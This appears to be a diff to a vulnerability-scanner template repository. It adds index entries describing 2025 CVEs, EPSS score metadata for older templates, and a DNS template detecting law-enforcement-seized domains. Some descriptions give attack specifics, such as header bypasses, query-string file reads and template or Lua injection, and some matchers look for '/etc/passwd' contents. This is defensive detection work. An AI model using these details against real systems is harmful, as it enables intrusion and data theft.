 {"ID":"CVE-2025-29927","Info":{"Name":"Next.js Middleware Bypass","Severity":"critical","Description":"Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.\nThe vulnerability allows attackers to bypass middleware security controls by sending a specially crafted\n'x-middleware-subrequest' header, which can lead to authorization bypass and other security control circumvention.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-29927.yaml"}
 {"ID":"CVE-2025-30208","Info":{"Name":"Vite - Arbitrary File Read","Severity":"medium","Description":"Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import\u0026raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-30208.yaml"}
+{"ID":"CVE-2025-30220","Info":{"Name":"GeoServer WFS - XXE Processing Vulnerability","Severity":"critical","Description":"GeoServer Web Feature Service (WFS) is vulnerable to an XML External Entity (XXE) processing attack due to improper handling of XML input. This vulnerability allows attackers to perform Out-of-Band (OOB) data exfiltration and Server-Side Request Forgery (SSRF) by exploiting the GeoTools library.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-30220.yaml"}
 {"ID":"CVE-2025-30406","Info":{"Name":"Gladinet CentreStack \u003c 16.4.10315.56368 Use of Hard-coded Key Leads to Unauthenticated RCE","Severity":"critical","Description":"Gladinet CentreStack through 16.1.10296.56315 (fixed in 16.4.10315.56368) has a deserialization vulnerability due to the CentreStack portal's hardcoded machineKey use, as exploited in the wild in March 2025. This enables threat actors (who know the machineKey) to serialize a payload for server-side deserialization to achieve remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-30406.yaml"}
 {"ID":"CVE-2025-30567","Info":{"Name":"WordPress WP01 - Path Traversal","Severity":"high","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in wp01ru WP01 allows Path Traversal. This issue affects WP01: from n/a through 2.6.2.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-30567.yaml"}
 {"ID":"CVE-2025-3102","Info":{"Name":"SureTriggers – All-in-One Automation Platform ≤ 1.0.78 - Authentication Bypass","Severity":"high","Description":"The SureTriggers- All-in-One Automation Platform plugin for WordPress is vulnerable to an authentication bypass leading to administrative account creation due to a missing empty value check on the 'secret_key' value in the 'autheticate_user' function in all versions up to, and including, 1.0.78. This makes it possible for unauthenticated attackers to create administrator accounts on the target website when the plugin is installed and activated but not configured with an API key.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2025/CVE-2025-3102.yaml"}
@@ -3059,6 +3084,9 @@
 {"ID":"CVE-2025-34026","Info":{"Name":"Versa Concerto Actuator Endpoint - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34026.yaml"}
 {"ID":"CVE-2025-34027","Info":{"Name":"Versa Concerto API Path Based - Authentication Bypass","Severity":"critical","Description":"Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34027.yaml"}
 {"ID":"CVE-2025-34028","Info":{"Name":"Commvault - SSRF via /commandcenter/deployWebpackage.do","Severity":"critical","Description":"A path traversal vulnerability in Commvault Command Center Innovation Release allows an unauthenticated actor to upload ZIP files, which, when expanded by the target server, result in Remote Code Execution. This issue affects Command Center Innovation Release: 11.38.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-34028.yaml"}
+{"ID":"CVE-2025-34031","Info":{"Name":"Moodle Jmol Filter 6.1 - Local File Inclusion","Severity":"high","Description":"Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-34031.yaml"}
+{"ID":"CVE-2025-34032","Info":{"Name":"Moodle LMS Jmol Plugin \u003c= 6.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-34032.yaml"}
+{"ID":"CVE-2025-3415","Info":{"Name":"Grafana - Exposes DingDing API Keys","Severity":"medium","Description":"An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-3415.yaml"}
 {"ID":"CVE-2025-4008","Info":{"Name":"MeteoBridge \u003c= 6.1 - Remote Code Execution","Severity":"high","Description":"The Meteobridge web interface let meteobridge administrator manage their weather station data collection and administer their meteobridge system through a web application written in CGI shell scripts and C.This web interface exposes an endpoint that is vulnerable to command injection.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4008.yaml"}
 {"ID":"CVE-2025-4009","Info":{"Name":"Evertz SDVN 3080ipx-10G - Unauthenticated Arbitrary Command Injection","Severity":"critical","Description":"The Evertz SDVN 3080ipx-10G is a High Bandwidth Ethernet Switching Fabric for Video Application. This device exposes a web management interface on port 80. This web management interface can be used by administrators to control product features, setup network switching, and register license among other features. The application has been developed in PHP with the webEASY SDK, also named ‘ewb’ by Evertz.This web interface has two endpoints that are vulnerable to arbitrary command injection and the authentication mechanism has a flaw leading to authentication bypass.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.This level of access could lead to serious business impact such as the interruption of media streaming, modification of media being streamed, alteration of closed captions being generated, among others.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-4009.yaml"}
 {"ID":"CVE-2025-4123","Info":{"Name":"Grafana - XSS / Open Redirect / SSRF via Client Path Traversal","Severity":"high","Description":"An open redirect vulnerability in Grafana can be chained with other issues, such as XSS or SSRF, to increase impact. An attacker may exploit the redirect to target internal services or deliver malicious JavaScript, potentially leading to internal data exposure or account takeover.\n","Classification":{"CVSSScore":"7.6"}},"file_path":"http/cves/2025/CVE-2025-4123.yaml"}
@@ -3066,12 +3094,24 @@
 {"ID":"CVE-2025-4322","Info":{"Name":"Motors \u003c= 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover","Severity":"critical","Description":"The Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4322.yaml"}
 {"ID":"CVE-2025-4388","Info":{"Name":"Liferay Portal 'marketplace-app-manager-web' - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-4388.yaml"}
 {"ID":"CVE-2025-4396","Info":{"Name":"Relevanssi \u003c= 4.24.4 (Free) - Unauthenticated SQL Injection","Severity":"high","Description":"The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and \u003c= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4396.yaml"}
+{"ID":"CVE-2025-44148","Info":{"Name":"MailEnable Mail Service \u003c v10 - Cross-Site Scripting","Severity":"medium","Description":"Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-44148.yaml"}
 {"ID":"CVE-2025-4427","Info":{"Name":"Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution","Severity":"critical","Description":"An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-4427.yaml"}
+{"ID":"CVE-2025-45854","Info":{"Name":"JEHC-BPM - Remote Code Execute","Severity":"critical","Description":"A Remote Command Execution vulnerability in the component /server/executeExec of JEHC-BPM \u003c= v2.0.1 allows attackers to execute arbitrary code. The vulnerability exists due to insufficient authorization checks in the executeExec endpoint which allows direct command execution.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-45854.yaml"}
+{"ID":"CVE-2025-45985","Info":{"Name":"Blink Router - Command Injection","Severity":"critical","Description":"Blink routers BL-WR9000 V2.4.9 , BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5 , BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0 and BL-X26_DA3 v1.2.7 were discovered to contain a command injection vulnerability via the bs_SetSSIDHide function.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-45985.yaml"}
+{"ID":"CVE-2025-46822","Info":{"Name":"Java-springboot-codebase 1.1 - Arbitrary File Read","Severity":"high","Description":"OsamaTaher/Java-springboot-codebase is a collection of Java and Spring Boot code snippets, applications, and projects. Prior to commit c835c6f7799eacada4c0fc77e0816f250af01ad2, insufficient path traversal mechanisms make absolute path traversal possible. This vulnerability allows unauthorized access to sensitive internal files. Commit c835c6f7799eacada4c0fc77e0816f250af01ad2 contains a patch for the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-46822.yaml"}
 {"ID":"CVE-2025-47204","Info":{"Name":"Bootstrap Multiselect \u003c= 1.1.2 - Cross-Site Scripting","Severity":"medium","Description":"A PHP script in the source code release echoes arbitrary POST data. If a developer adopts this structure wholesale in a live application, it could create a Reflective Cross-Site Scripting (XSS) vulnerability exploitable through Cross-Site Request Forgery (CSRF).\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-47204.yaml"}
+{"ID":"CVE-2025-47423","Info":{"Name":"Personal Weather Station Dashboard 12 - Directory Traversal","Severity":"high","Description":"Personal Weather Station Dashboard 12_lts allows unauthenticated remote attackers to read arbitrary files via ../ directory traversal in the test parameter to /others/_test.php, as demonstrated by reading the server's private SSL key in cleartext.\n","Classification":{"CVSSScore":"5.8"}},"file_path":"http/cves/2025/CVE-2025-47423.yaml"}
 {"ID":"CVE-2025-47539","Info":{"Name":"Eventin \u003c= 4.0.26 - Privilege Escalation","Severity":"critical","Description":"The Eventin WordPress plugin before 4.0.27 suffers from an unauthenticated privilege escalation vulnerability. Due to a missing permission check in the a REST API endpoint, unauthenticated attackers can import users with arbitrary roles, including administrator, leading to full site compromise.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-47539.yaml"}
+{"ID":"CVE-2025-47646","Info":{"Name":"PSW Front-end Login \u0026 Registration 1.13 - Weak Password Recovery","Severity":"critical","Description":"PSW Front-end Login \u0026 Registration plugin for WordPress contains a weak password recovery mechanism that can be exploited by unauthenticated attackers. This vulnerability affects versions through 1.13 and allows attackers to potentially gain unauthorized access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-47646.yaml"}
+{"ID":"CVE-2025-47812","Info":{"Name":"Wing FTP Server \u003c= 7.4.3 - Remote Code Execution","Severity":"critical","Description":"Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE) flaw (CVE-2025-47812).\nThe vulnerability arises from improper NULL byte handling in the 'username' parameter during login, which allows Lua code injection\ninto session files. These injected session files are executed when accessing authenticated endpoints such as /dir.html, resulting\nin arbitrary command execution with elevated privileges. This attack is possible only when anonymous login is enabled on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-47812.yaml"}
+{"ID":"CVE-2025-47813","Info":{"Name":"Wing FTP Server \u003c= 7.4.3 - Path Disclosure via Overlong UID Cookie","Severity":"medium","Description":"Wing FTP Server versions prior to 7.4.4 are vulnerable to an authenticated information disclosure vulnerability (CVE-2025-47813).\nThe vulnerability occurs due to improper validation of the 'UID' session cookie in the /loginok.html endpoint. Supplying an\noverlong UID value causes the server to respond with an error that includes the full local filesystem path. This can aid in further\nexploitation (e.g., CVE-2025-47812) by revealing the application’s file system layout.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-47813.yaml"}
 {"ID":"CVE-2025-47916","Info":{"Name":"Invision Community \u003c=5.0.6 Unauthenticated RCE via Template Injection","Severity":"critical","Description":"Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-47916.yaml"}
+{"ID":"CVE-2025-48828","Info":{"Name":"vBulletin replaceAdTemplate - Remote Code Execution","Severity":"critical","Description":"vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted \u003cvb:if\u003e conditional that executes arbitrary PHP code via passthru($_POST[\u003cparam\u003e]), and triggering it with a second request to ajax/render/ad_\u003clocation\u003e, attackers can run arbitrary commands on the server as the webserver user.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-48828.yaml"}
 {"ID":"CVE-2025-49113","Info":{"Name":"Roundcube Webmail - Remote Code Execution","Severity":"critical","Description":"Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-49113.yaml"}
+{"ID":"CVE-2025-49132","Info":{"Name":"Pterodactyl Panel - Remote Code Execution","Severity":"critical","Description":"Pterodactyl is a free, open-source game server management panel. Using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-49132.yaml"}
 {"ID":"CVE-2025-5086","Info":{"Name":"Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization","Severity":"critical","Description":"A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.\n","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2025/CVE-2025-5086.yaml"}
+{"ID":"CVE-2025-5287","Info":{"Name":"Likes and Dislikes Plugin \u003c= 1.0.0 - Unauthenticated SQL Injection","Severity":"high","Description":"The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-5287.yaml"}
+{"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
 {"ID":"CVE-2004-2687","Info":{"Name":"Distccd v1 - Remote Code Execution","Severity":"high","Description":"distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"network/cves/2004/CVE-2004-2687.yaml"}
 {"ID":"CVE-2011-2523","Info":{"Name":"VSFTPD 2.3.4 - Backdoor Command Execution","Severity":"critical","Description":"VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2011/CVE-2011-2523.yaml"}
@@ -3082,6 +3122,7 @@
 {"ID":"CVE-2017-5645","Info":{"Name":"Apache Log4j Server - Deserialization Command Execution","Severity":"critical","Description":"In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2017/CVE-2017-5645.yaml"}
 {"ID":"CVE-2018-2628","Info":{"Name":"Oracle WebLogic Server Deserialization - Remote Code Execution","Severity":"critical","Description":"The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3 contains an easily exploitable vulnerability that allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2018/CVE-2018-2628.yaml"}
 {"ID":"CVE-2018-2893","Info":{"Name":"Oracle WebLogic Server - Remote Code Execution","Severity":"critical","Description":"The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3 contain an easily exploitable vulnerability that allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2018/CVE-2018-2893.yaml"}
+{"ID":"CVE-2020-0796","Info":{"Name":"Microsoft SMBv3 - Remote Code Execution","Severity":"critical","Description":"A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability'.\n","Classification":{"CVSSScore":"10"}},"file_path":"network/cves/2020/CVE-2020-0796.yaml"}
 {"ID":"CVE-2020-11981","Info":{"Name":"Apache Airflow \u003c=1.10.10 - Command Injection","Severity":"critical","Description":"An issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2020/CVE-2020-11981.yaml"}
 {"ID":"CVE-2020-1938","Info":{"Name":"Ghostcat - Apache Tomcat - AJP File Read/Inclusion Vulnerability","Severity":"critical","Description":"When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2020/CVE-2020-1938.yaml"}
 {"ID":"CVE-2021-44521","Info":{"Name":"Apache Cassandra Load UDF RCE","Severity":"critical","Description":"When running Apache Cassandra with the following configuration: enable_user_defined_functions: true enable_scripted_user_defined_functions: true enable_user_defined_functions_threads: false it is possible for an attacker to execute arbitrary code on the host. The attacker would need to have enough permissions to create user defined functions in the cluster to be able to exploit this. Note that this configuration is documented as unsafe, and will continue to be considered unsafe after this CVE.","Classification":{"CVSSScore":"9.1"}},"file_path":"network/cves/2021/CVE-2021-44521.yaml"}
@@ -1 +1 @@
-def94a4a3bd3432cd17b26270f2f10ca
+f49818993b002ec6c2bd227c0a16b3f4
@@ -16,6 +16,8 @@ info:
    cvss-score: 7.5
    cve-id: CVE-2018-19518
    cwe-id: CWE-88
+    epss-score: 0.93964
+    epss-percentile: 0.99875
  metadata:
    max-request: 1
    confidence: tenative
@@ -47,4 +49,4 @@ http:
        part: interactsh_request
        words:
          - "User-Agent: curl"
-# digest: 4b0a004830460221008543f7f2f49f049446873dd3c5bc4fb5a4a615e4633405b40698ddf599348551022100ea2a4180689633d4ed52d2be2b916ed056f3a39bdca0a8511dce2dfb572efe27:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f49d06537ed8ad00c2c83083d49e4676200bf096d2312f819280bbb90c7d7950022041ed93b924325ee5bec6087d2ad160b10fe25b492fc0cbcbd0bc5d52457548fe:922c64590222798bb761d5b6d8e72950
@@ -16,10 +16,12 @@ info:
    cvss-score: 9
    cve-id: CVE-2021-45046
    cwe-id: CWE-502
+    epss-score: 0.94340
+    epss-percentile: 0.99946
  metadata:
    max-request: 1
    confidence: tenative
-  tags: cve,cve2021,rce,oast,log4j,injection,dast
+  tags: cve,cve2021,rce,oast,log4j,injection,dast,kev

 http:
  - pre-condition:
@@ -60,4 +62,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a00483046022100ca8099b9b7303f2c34f8b7d2247e672dcdd92a64154deb9077154caea26f48500221009cd27f47753dc8386aee743ad51c6af60dbfad1a6cdf8c824e6cd21292b409f9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a8939bb9bc6ccb1b77d9f06e06ca0db8116d5c0b73361a660d9f9a7b3e104f20022100df3e7994cdfd47bb085887aab47b53e80f0fc32a8589e337462d83aa015db1c9:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-22965
    cwe-id: CWE-94
-    epss-score: 0.97483
-    epss-percentile: 0.99971
+    epss-score: 0.94460
+    epss-percentile: 0.99992
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -55,4 +55,4 @@ http:
        words:
          - "User-Agent: Java"
        case-insensitive: true
-# digest: 4a0a00473045022100d3db8bbbe0510ee216ae27652bf3f525d711497be0e6081b59f614e469c9e0c60220241efddbb889520b5d9ab9461c2c38205bf09157df2bb490ff7b22635313159b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100915d17fb5a8d51b02db38fbe465d2de61ea80000397a7e86ebc49a4a9889412b022100820d081fc544c8aa867d04cfa1d0878008729d0459f08a166c459d7d16234099:922c64590222798bb761d5b6d8e72950
@@ -16,6 +16,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-34265
    cwe-id: CWE-89
+    epss-score: 0.92493
+    epss-percentile: 0.99731
  tags: sqli,dast,vulhub,cve,cve2022,django

 variables:
@@ -44,4 +46,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4a0a00473045022100f6bab24a5adea777e32c36b72485c0c608dbd991b9fb2c3fb4cdb52ad7fad6ae022076c4a91e8602b76617f44c2e3386f66d5e97a998ea4ea225a59fba922208f5c8:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220765d0b95605f033abc16dd45dbd789eab737ca6bd0c261eb914b8fcf1fc7f9e902202d55d0d730a667ad2683e84023cdea5e2896a20b863a8cf0a2865d081aaf575b:922c64590222798bb761d5b6d8e72950
@@ -18,6 +18,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-42889
    cwe-id: CWE-94
+    epss-score: 0.94161
+    epss-percentile: 0.99906
  metadata:
    max-request: 1
    confidence: tenative
@@ -66,4 +68,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a00483046022100b4b0c092617fb0da67a9ba1daba6fb05e46310943778a0100e477801d9d43ebe0221009ccfccf8b16a26ec3f4150c837ef6ed7f3daa564fcfdb6ff5e60165b82bc9913:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200a540e28e8b29b0e815636f1bdf25ada03bef96b3a227f8db6984189302ef18f02200a3c13ec4b34fe4baf8cff6dec664f57ad70981271b2a7a601987ec1820de86d:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-score: 7.3
    cve-id: CVE-2024-2961
    cwe-id: CWE-787
-    epss-score: 0.00046
-    epss-percentile: 0.17937
+    epss-score: 0.91735
+    epss-percentile: 0.99668
  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast

 flow: http(1) && http(2)
@@ -57,4 +57,4 @@ http:
      - type: regex
        regex:
          - "root:x:0:0"
-# digest: 4a0a00473045022005ac06f3907c82aa128062a389b80cc85af23809ac157a8bc32e9b33d24b0d0a022100cb8111c68f3945d3705e3633e48d3f5993f0222aeef990481d3b29e8c61e4929:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f5fcacc5989901a485f707e1e046c0bb430448747aa9d1753933a28c4d863e75022100bf1a25c7f01875384e8ce50fdb752faf2f3d5336ede7c0491f8f74852d678a7d:922c64590222798bb761d5b6d8e72950
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=BIMI1(.+)"
-# digest: 4b0a00483046022100e72cc24c25dd4a9c25ac1599aa93e636a5de47a6da8a294f4a21e6cbf41dae56022100c567b9fd1b60b32102d2e1428a19f8d753d57ed3521e2b97ee973b3c99bc5828:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044021f3dec084b1d2c1f40d94cb514cd6098ab498130c1b40bd1030a95fbe476432f022100a42be26e7d98c478e4a0a97209ddea0a09b1c6e4b39cfabb29584fbdea08555a:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,38 @@
+id: fbi-seized-nameserver
+
+info:
+  name: FBI Seized Nameserver - Detect
+  author: rxerium
+  severity: info
+  description: |
+    Detected domains whose nameservers have been seized by law enforcement (e.g., FBI), often indicating involvement in malicious or criminal activity.
+  classification:
+    cwe-id: CWE-200
+  metadata:
+    max-request: 1
+    shodan-query: title:"THIS WEBSITE HAS BEEN SEIZED"
+    fofa-query: title="THIS WEBSITE HAS BEEN SEIZED"
+  tags: dns,ns,darkweb,fbi,seized
+
+dns:
+  - name: "{{FQDN}}"
+    type: NS
+
+    matchers:
+      - type: word
+        words:
+          - "ns1.fbi.seized.gov"
+          - "ns2.fbi.seized.gov"
+          - "ns3.fbi.seized.gov"
+          - "jocelyn.ns.cloudflare.com"
+          - "plato.ns.cloudflare.com"
+          - "ns1.usssdomainseizure.com"
+          - "ns2.usssdomainseizure.com"
+        condition: or
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
+          - "IN\\tNS\\t(.+)"
+# digest: 4a0a0047304502210096d75201441ef6df04dab28e29fd600ddfbc601b470ffbc62fb71ec3d963e120022068d2ae1a12e41c4d3f9da888719af2b8bc21e72ad2f997f3fdeb43c3bb448387:922c64590222798bb761d5b6d8e72950
